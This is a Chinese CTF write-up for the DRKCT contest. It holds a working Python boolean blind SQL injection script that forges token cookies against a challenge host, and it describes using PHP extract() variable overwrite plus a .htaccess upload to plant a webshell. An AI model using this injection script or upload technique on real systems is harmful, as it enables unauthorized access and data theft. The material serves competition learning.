DRKCT复现

news2024/12/24 22:13:01

Osint

羡慕群友每一天

MISC

签到

扫码关注公众号,回复一下行

(眼神要好, 我做题时没看见有个二维码)

神秘的文字

把代码js运行一下

(用js的原因是前面给的动物代表的字符类似jsfuck代码)

𓅂=+![];
𓂀=+!𓅂;
𓁄=𓂀+𓂀;
𓊎=𓁄+𓂀;
𓆣=𓁄*𓁄;
𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;
𓅬=𓆣+𓊎;
[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};
𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";
console.log(𓇎+𓂀+𓅂+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓅂+𓆣+𓇎+𓆣+𓂀+𓇎+𓂀+𓊎+𓂀+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓁄+𓊝+𓇎+𓂀+𓆫+𓁄+𓇎+𓆣+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓁄+𓅬+𓇎+𓂀+𓊝+𓅬+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆣+𓆣+𓇎+𓆣+𓅂+𓇎+𓂀+𓊝+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓅬+𓁄+𓇎+𓂀+𓊝+𓊝+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆫+𓆣+𓇎+𓆫+𓂀+𓇎+𓂀+𓂀+𓆫+𓇎+𓂀+𓊎+𓅬+𓇎+𓂀+𓂀+𓊎+𓇎+𓆫+𓂀+𓇎+𓂀+𓅂+𓊝+𓇎+𓂀+𓁄+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓆫+𓊎);

 是八进制,转成文本,我用脚本转,在线工具有乱码

import chardet

byte_str = b"\107\117\117\104\41\131\117\125\162\40\160\101\163\163\127\157\162\144\40\151\163\72\155\101\162\164\61\116\137\113\61\105\120\160\63"
byte_str_charset = chardet.detect(byte_str)  # 获取字节码编码格式

byte_str = str(byte_str, byte_str_charset.get('encoding'))  # 将八进制字节流转化为字符串
print(byte_str)

WEB

在经历过几次比赛以后发现现在比赛的web题,难度和脑洞都有,特别是在脚本和自动化工具的运用上要求很熟练,否则在做题时可能会感觉无从下手

EzLogin
TOKEN

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码

作用:

1. 身份验证令牌(Authentication Token):在身份验证过程中,令牌是一个用于证明用户身份的凭据。它可以是一个包含用户信息和其他标识符的加密字符串,例如用户名、角色、权限等。常见的身份验证令牌包括JWT(JSON Web Token)和OAuth令牌。

2. 会话令牌(Session Token):在Web应用程序中,会话令牌是一个用于标识用户会话的唯一标识符。它通常存储在客户端的Cookie中,并在用户登录后生成和发送到客户端。会话令牌可以帮助服务器跟踪用户的状态,例如用户是否已经登录,以及用户的特定会话数据。

3. 访问令牌(Access Token):在OAuth身份验证流程中,访问令牌是一个用于访问受保护资源的凭据。当用户通过OAuth授权后,授权服务器会颁发访问令牌给客户端应用程序,然后客户端可以使用该令牌来请求受保护资源。

4. CSRF令牌(Cross-Site Request Forgery Token):用于防止跨站请求伪造攻击的令牌。它是一个随机生成的字符串,嵌入到Web表单中,并在提交表单时与会话中存储的令牌进行比较。如果两者不匹配,则请求被视为潜在的CSRF攻击。

个人感觉如果了解过session的话,可能比较好理解token

进入靶场后,查看源代码发现有一个注册的页面,先注册一个账户,然后登录

(我注册的是admin1 123)

登录后会跳转到home.php,一开始我以为是登录的问题,反复尝试了几遍发现还是这个页面,只能抓包看看,发现了token,放厨师里面解密一下

是一串json的字符串,把admin改为1,修改token

在刷新home.php,发现会回显注册的用户和密码

 在大token里面还有一个小token,是md5,所以可以多注册几个用户尝试看home.php的回显

听有些大佬用的二次注入,应该是因为有页面回显了用户信息,所以二次注入构造恶意sql语句

这里使用布尔盲注,因为经过尝试后,发现存在sql注入

#导入库
import requests #用于发送HTTP请求
import base64 #用于进行Base64编码和解码
import hashlib #用于计算MD5哈希值
import binascii#用于在二进制数据和ASCII字符串之间进行转换
import json #用于处理JSON数据(因为要构建json的字符串形式)
#定义辅助函数
def bin2hex(binary_data):
    hex_data = binascii.hexlify(binary_data)
    return hex_data.decode('utf-8')
def hash_md5(input_string):
    md5_obj = hashlib.md5()
    md5_obj.update(input_string.encode('utf-8'))
    hash_string = md5_obj.hexdigest()
    return hash_string
def encode_base64(input_string):
    input_bytes = input_string.encode('utf-8')
    base64_bytes = base64.b64encode(input_bytes)
    base64_string = base64_bytes
    return base64_string
s=""
#循环构造和发送请求
for j in range(1,50):
    for i in range(32,130):
        inp="admin'/**/and/**/substr((select table_name from information_schema.tables where table_schema like 0x444b435446 LIMIT 2,1),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
        inp="admin'/**/and/**/substr((select sseeccrreett from secret),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
        inp=inp.replace(" ","/**/")
        md=hash_md5(inp)
        jso=json.dumps({"username":inp, "token":md, "is_admin":1})
        token=bin2hex(encode_base64(jso))
        headers={
        "Host":"challenge.qsnctf.com:32311",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Cookie":"TOKEN="+token
        }
        a=requests.get("http://challenge.qsnctf.com:32311/home.php",headers=headers)
#处理响应
        if("No user found." in a.text):
            pass
        elif("Hacker" in a.text):
            pass
            #print(chr(i),"*hacker")
            #print(a.text)
            #break
        else:#if("pass" in a.text):
            s+=chr(i)
            print(s)
            break

 

总结:这题主要就是抓住token,因为token是我们注册是生成的令牌,并且题目也给了hint是根据用户来输出密码,说明跟token有关,对于cookie中的session,token之类的东西要敏感一点

ezsign

dirsearch扫一下,发现index.php.bak 下载后打开,进行代码审计

?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);


    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD

大致的意思是:

  1. 首先,检查cookie中是否存在名为"token"的值。如果存在,则解码该token并提取出其中的用户名、密码以及其他信息。
  2. 然后,检查用户的IP地址是否为本地地址(127.0.0.1),如果是,则欢迎用户,并检查是否存在用户上传的头像文件。如果存在,则显示该头像;否则,提示用户上传头像的功能。
  3. 如果用户不是本地用户,则显示一个留言板,允许用户输入文本,并在点击按钮后将文本显示出来。
  4. 如果cookie中不存在"token"值,则显示一个登录表单,要求用户输入用户名和密码进行登录。

其中存在一个extract()函数,这个函数可能导致变量覆盖

extract - 从关联数组中提取变量 (键为变量名,值为变量值),导入系统

$data = array("username" => "john", "age" => 30);
extract($data);
echo $username; // 输出 "john"
echo $age;      // 输出 "30"

 前面要求是本地127.0.0.1访问的,所以可以利用extract来进行变量覆盖,通过上传_SERVER[REMOTE_ADDR]=127.0.0.1,被extract提取后导入系统中,进入upload页面

上传文件后,发现蚁剑连接不上,查看源码发现存在一个.htaccess

这里真不知道怎么判断出的解析不成功,赛方给了hint

(30分钟后,我明白了,当我上传了php后,直接访问显示的还是源码,所以来判断没有被解析

Dusk队的wp )

上传一个.htaccess配置文件,打开php解析引擎("php_flag engine 1"来打开引擎 )

之后蚁剑连接 /upload/admin/1.jpg,路径是图片路径

知识点:.htaccess和extract

.htaccess文件是一个用于配置 Apache Web 服务器的配置文件,它可以用来控制网站的行为,包括重定向、URL 重写、访问控制等。.htaccess 文件通常位于网站根目录下,它的名称以点开头,表示该文件是一个隐藏文件,用于存放敏感配置信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1704286.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Daisy Chain

菊花链是双向和半双工的&#xff0c;因此在 COMH 和 COML 接口上有一个发送器 (TX) 和一个接收器 (RX)。TX 和 RX 功能由硬件根据器件的基底/堆栈检测自动控制。当接收到 WAKE ping/音调时&#xff0c;通信方向由 CONTROL1[DIR_SEL] 和 COMM_CTRL[TOP_STACK] 配置进行设置。 对…

如何处理网安发出的网络安全监督检查限期整改通知

近期&#xff0c;很多客户都收到了网安发出的限期整改通知。大家都比较关心的问题是&#xff0c;如何应对处理这些限期整改通知。后续是否有其他的影响&#xff0c;需要如何做进一步的优化整改和调整。今天就这些问题给大家做一些分享。 一. 为什么会有网安的网络安全检查 主…

系统管理、磁盘分区

系统管理 业务层面&#xff1a;为了满足一定的需求所做的特定操作。 硬盘是什么&#xff0c;硬盘的作用&#xff1a; **硬盘&#xff1a;**计算机的存储设备&#xff0c;机械硬盘是由一个或者多个磁性的盘组成&#xff0c;可以在盘片上进行数据的读写。 连接方式&#xff1a…

谈谈BlueStore的BitmapAllocator

背景 BlueStore在ceph里面承担了数据在底层磁盘上的读写任务&#xff0c;那它的功能里自然就有一块是管理磁盘空间使用的。说白了&#xff0c;就是记录&管理磁盘里哪些空间已经使用了&#xff0c;哪些空间还没有被使用。 目前官方的ceph里使用BitmapAllocator来管理磁盘空…

冯喜运:5.27黄金短线看震荡,今日黄金原油走势分析

【黄金消息面分析】&#xff1a;黄金作为传统的避险资产&#xff0c;在经济不确定性中扮演着至关重要的角色。近期&#xff0c;国际黄金价格经历了显著的波动。从5月9日的低点2325.19美元/盎司反弹至2340美元/盎司以上&#xff0c;尽管金价曾一度触及2449.89美元/盎司的历史高点…

C++ 数据结构算法 学习笔记(33) -查找算法及企业级应用

C 数据结构算法 学习笔记(33) -查找算法及企业级应用 数组和索引 日常生活中&#xff0c;我们经常会在电话号码簿中查阅“某人”的电话号码&#xff0c;按姓查询或者按字母排 序查询&#xff1b;在字典中查阅“某个词”的读音和含义等等。在这里&#xff0c;“电话号码簿”和…

高弹性架构的微服务设计模式

长期以来&#xff0c;开发人员一直使用单片架构&#xff0c;而且长期以来&#xff0c;这种架构一直有效。不幸的是&#xff0c;这些架构使用的部件较少&#xff0c;但体积较大&#xff0c;这意味着如果一个部件发生故障&#xff0c;它们更有可能整体失效。通常&#xff0c;这些…

《书生·浦语大模型实战营》第1课 学习笔记:书生·浦语大模型全链路开源体系

文章大纲 1. 简介与背景智能聊天机器人与大语言模型目前的开源智能聊天机器人与云上运行模式 2. InternLM2 大模型 简介3. 视频笔记&#xff1a;书生浦语大模型全链路开源体系内容要点从模型到应用典型流程全链路开源体系 4. 论文笔记:InternLM2 Technical Report简介软硬件基础…

HR招聘面试测评,哪些工作岗位需要测评创新能力?

什么是创新能力&#xff1f; 创新能力指在现有的物质基础上&#xff0c;通过某些特定的条件&#xff0c;促成满足未来社会发展的新事物。无论是个人还是国家都需要巨大的创新能力&#xff0c;因为创新是一切发展的根基&#xff0c;离开了创新&#xff0c;所有的发展都是原地踏…

Windows安全基础——Windows WMI详解

Windows安全基础——WMI篇 1. WMI简介 WMI&#xff08;Windows Management Instrumentation, Windows管理规范&#xff09;是Windows 2000/XP管理系统的核心&#xff0c;属于管理数据和操作的基础模块。设计WMI的初衷是达到一种通用性&#xff0c;通过WMI操作系统、应用程序等…

设计模式16——策略模式

写文章的初心主要是用来帮助自己快速的回忆这个模式该怎么用&#xff0c;主要是下面的UML图可以起到大作用&#xff0c;在你学习过一遍以后可能会遗忘&#xff0c;忘记了不要紧&#xff0c;只要看一眼UML图就能想起来了。同时也请大家多多指教。 策略模式&#xff08;Strategy…

计算机的存储体系

计算机的存储分为内存和硬盘两大类。其中内存属于非持久化的存储设备&#xff0c;用于临时存储数据&#xff0c;设备掉电后数据会丢失&#xff1b;硬盘属于持久化的存储设备&#xff0c;设备掉电后数据不会丢失。 实际上在计算机领域存储的种类是非常多的&#xff0c;业界有时…

linux网卡MAC地址

1、ifconfig命令查看网卡MAC地址 1.1 通过HWaddr或ether字段过滤mac地址 ifconfig | grep HWaddr ifconfig | grep ether [rootlocalhost ~]# /sbin/ifconfig | grep ether 注&#xff1a;有些Linux发行版本的MAC地址字段为HWaddr&#xff0c;有些Linux发行版本的MAC地址字段…

SkyWalking 介绍及部署

1、SkyWalking简介2、SkyWalking的搭建 2.1 部署Elasticsearch2.2 部署SkyWalking-Server2.3 部署SkyWalking-UI3、应用接入 3.1 jar包部署方式3.2 dockerfile方式3.3 DockerFile示例4、SkyWalking UI 界面说明 4.1 仪表盘 4.1.1 APM &#xff08;1&#xff09;全局维度&#x…

clickhouse——ck目录介绍

一、ck目录 1、/etc/clickhouse-server: 服务端的配置文件目录&#xff0c;包括全局配置config.xml和用户配置users.xml等。 2、/var/lib/clickhouse 默认的数据存储目录&#xff08;通常会修改默认路径配置&#xff0c;将数据保存到大容量磁盘挂载的路径&#xff09; 3、/var…

电脑不能远程桌面连接不上,电脑无法建立远程桌面连接如何解决?

电脑无法建立远程桌面连接的问题&#xff0c;通常涉及到多个层面的因素&#xff0c;包括但不限于网络设置、系统配置、防火墙设置以及服务状态等。以下是一些专业性的解决方案&#xff0c;以帮助您解决这一问题。 首先&#xff0c;我们需要检查网络连接。远程桌面连接需要稳定的…

【数据库】通过一个实例来认识数据流图DFD

导读&#xff1a;通过一个实例&#xff08;数据中台&#xff09;说明数据流图DFD的作用、介绍了常见的数据流图元素及其标准符号以及如何画数据流图。数据流图主要被分析师、系统设计师、流程优化专家、系统管理员以及与系统开发和维护相关的人员查看和使用。对于刚考完2024年5…

怎样在网上赚点零花钱?推荐十个正规的赚钱兼职平台

今天要和大家探讨一个激动人心的话题——网络赚钱。在这个互联网日新月异的时代&#xff0c;网络赚钱已经变成了触手可及的现实。如果你正打算在网上赚取一些额外收入&#xff0c;那么这篇文章绝对值得一读&#xff01; 在这个信息泛滥的时代&#xff0c;网络赚钱的机遇随处可…

redis数据操作相关命令

1.list操作 1.1 rpush rpush&#xff1a;新的元素添加到list最右边 #从右边依次往List添加1,2,3 RPUSH name 1 RPUSH name 2 RPUSH name 3#查看列表&#xff1a;返回 1,2,3 LRANGE name 0 -1结果如下&#xff1a; 1.2 lpush lpush&#xff1a;新加的元素在list最左边 #从…

U8G2移植到STM32,SSD13XXXOLED(硬件SPI DMA通讯)

文章目录 一、前言1.1 U8g2的特点1.2 U8G2的优势1.3 U8G2的下载地址1.4 U8g2支持的显示控制器 二、STM32Cubexm SPI DMA配置2.1 SPI设置为半双工模式2.2 SPI DMA设置2.3 oled其他引脚配置 三、移植U8G2框架3.1 精简U8G2库文件3.2 去掉csrc文件夹中无用的驱动文件3.3 文件移动到…